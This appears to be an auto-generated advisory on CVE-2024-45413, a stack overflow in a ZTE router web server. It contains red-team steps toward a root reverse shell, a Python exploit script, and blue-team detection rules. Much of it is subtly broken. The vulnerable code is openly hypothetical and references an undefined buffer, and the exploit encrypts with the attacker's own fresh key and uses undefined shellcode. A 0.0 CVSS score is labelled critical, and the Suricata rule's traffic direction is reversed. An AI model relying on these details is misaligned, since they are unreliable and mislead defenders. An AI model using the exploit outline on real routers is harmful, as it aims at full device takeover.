CVE-2024-45413

Executive Summary

CVE-2024-45413 is a critical stack-based buffer overflow vulnerability in the HTTPD binary of multiple ZTE routers. The flaw resides in the rsa_decrypt function, which serves as an API wrapper for LUA to decrypt RSA-encrypted ciphertext. The decrypted data is stored on the stack without proper length validation, allowing an authenticated attacker to achieve remote code execution (RCE) as root. No public exploit code or patch details are currently available, but the vulnerability poses a severe risk to affected ZTE router models.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector provided; estimated critical based on impact)
• Attack Vector: Network (authenticated)
• Attack Complexity: Low
• Privileges Required: Low (authenticated)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical – Exploitation can lead to full device compromise.

Deep Dive & Mechanics

The vulnerability exists in the rsa_decrypt function within the HTTPD binary. This function is exposed via LUA API to handle RSA decryption of ciphertext. When processing decrypted data, the function copies the result onto a fixed-size stack buffer without verifying the length of the decrypted output. An authenticated attacker can craft a malicious RSA ciphertext that, when decrypted, produces an oversized payload, overflowing the stack buffer. This overwrites adjacent memory regions, including the return address, enabling arbitrary code execution with root privileges.

Root Cause: Lack of bounds checking on the decrypted data length before copying to a stack buffer.

Attack Vector: Authenticated HTTP requests to the router’s web interface, leveraging the LUA API endpoint that calls rsa_decrypt.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code snippet is hypothetical based on the description.

Vulnerable Code (C):

void rsa_decrypt(unsigned char *ciphertext, int ciphertext_len) {
    unsigned char decrypted[256]; // Fixed stack buffer
    int decrypted_len = RSA_decrypt(ciphertext, ciphertext_len, decrypted);
    // No length check before copying to stack buffer
    memcpy(stack_buffer, decrypted, decrypted_len); // Overflow
}

Patched Code (Hypothetical):

void rsa_decrypt(unsigned char *ciphertext, int ciphertext_len) {
    unsigned char decrypted[256];
    int decrypted_len = RSA_decrypt(ciphertext, ciphertext_len, decrypted);
    if (decrypted_len > sizeof(stack_buffer)) {
        // Handle error, reject oversized data
        return;
    }
    memcpy(stack_buffer, decrypted, decrypted_len);
}

Exploitation & Lab Setup

Red Team

Prerequisites: Authenticated access to the ZTE router’s web interface.

Exploitation Steps:

1. Identify the LUA API endpoint that calls rsa_decrypt (e.g., /cgi-bin/rsa_decrypt).
2. Craft a malicious RSA ciphertext that, when decrypted, produces a payload exceeding the stack buffer size.
3. The payload should include shellcode to spawn a reverse shell or execute arbitrary commands as root.
4. Send the crafted request to the router.

Example Payload (Python):

import requests
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

# Generate RSA key pair (attacker-controlled)
key = RSA.generate(2048)
cipher = PKCS1_OAEP.new(key.publickey())

# Craft oversized plaintext
payload = b"A" * 300 + b"\x90" * 100 + shellcode
ciphertext = cipher.encrypt(payload)

# Send to vulnerable endpoint
url = "http://router-ip/cgi-bin/rsa_decrypt"
data = {"ciphertext": ciphertext.hex()}
requests.post(url, data=data, auth=("admin", "password"))

Blue Team

Detection & Prevention:

• Monitor for unusually large POST requests to LUA API endpoints.
• Implement input validation on the server side to reject oversized ciphertext.
• Deploy WAF rules to block requests with abnormal payload sizes.
• Use stack canaries and ASLR to mitigate exploitation.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /cgi-bin/rsa_decrypt with large payloads (>256 bytes).
• System: Unexpected processes running as root, unusual outbound connections.
• Logs: HTTPD crash logs, segmentation faults in /var/log/messages.
• File: Modified binaries in /usr/sbin/httpd.

Detection Engineering

YARA Rule

rule CVE_2024_45413_ZTE_Router_StackOverflow {
    meta:
        description = "Detects exploitation attempts of CVE-2024-45413 in ZTE routers"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $s1 = "rsa_decrypt" ascii wide nocase
        $s2 = "RSA_decrypt" ascii wide nocase
        $s3 = "stack_buffer" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-45413 ZTE Router RSA Decrypt Stack Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts against CVE-2024-45413
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/rsa_decrypt'
        sc-bytes: '>256'
    condition: selection
falsepositives:
    - Legitimate large RSA ciphertexts (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45413 ZTE Router RSA Decrypt Stack Overflow";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/rsa_decrypt"; http_uri;
    pcre:"/^.{256,}/R"; // Payload length > 256 bytes
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

• Immediate: Disable remote management and restrict access to the router’s web interface to trusted IPs only.
• Vendor Patch: Await official firmware update from ZTE. Monitor ZTE’s security advisory page.
• Workaround: If patching is not possible, block access to /cgi-bin/rsa_decrypt via firewall or web server configuration.
• Long-term: Implement network segmentation and use VPN for router management.

Valters IT signature: This report is generated for educational and defensive purposes only. Unauthorized exploitation is illegal.